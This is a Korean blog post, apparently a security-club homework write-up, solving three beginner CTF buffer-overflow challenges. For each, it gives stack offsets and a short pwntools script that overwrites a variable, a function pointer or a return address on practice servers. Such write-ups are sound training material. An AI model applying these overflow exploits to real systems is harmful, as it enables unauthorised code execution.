문제 3개 전부 합쳐서 실행 한번도 안해보고 5분컷 냈다. ezpzzzlol
HackCTF극초반 느낌 난다.
bof_basic
v5변수만 맞춰주면 풀린다.
음수를 h키 눌러서 hex로 바꾸면 이렇게 되고 0x34-0xc만큼 더미 넣어주고 저 값 넣어주면 된다.
from pwn import *
r = remote("pwn.scalart.me", 8001)
r.sendline(b"a"*(0x34-0xc)+p32(0xDEADBEEF))
r.interactive()
bof_basic2
함수포인터 주고 셸함수 주니까 그냥 함수포인터 덮으면 된다. 마찬가지로 버퍼가 ebp-0x8c에 있고 함수포인터가 ebp-0xc에 있으므로 0x8c-0xc만큼 더미 주고 셸함수 주소 넣어주면 된다.
from pwn import *
r = remote("pwn.scalart.me", 8002)
r.sendline(b"a"*(0x8c-0xc)+p32(0x804849B))
r.interactive()
64bof_basic
카나리 없고 셸함수 주고 bof터지니까 return address덮으면 된다. 함수 프롤로그 에필로그에 대한 지식이 있다면 알 수 있는 사실인데 return address는 64비트의 경우 보통 rbp+8에 위치한다. 따라서 0x118만큼 더미 넣고 셸함수 주소 주면 된다.
from pwn import *
r = remote("pwn.scalart.me", 8003)
r.sendline(b"a"*0x118+p64(0x400606))
r.interactive()
'Layer7' 카테고리의 다른 글
Layer7 - 포너블 2차시 수업 + 과제 (0) | 2022.10.04 |
---|---|
Layer7 - 포너블 1차시 과제 (0) | 2022.10.04 |
Layer7 - 리버싱 11차시 과제 (0) | 2022.10.04 |
Layer7 - 리버싱 10차시 과제 (0) | 2022.10.04 |
Layer7 - 리버싱 9차시 과제 (0) | 2022.10.04 |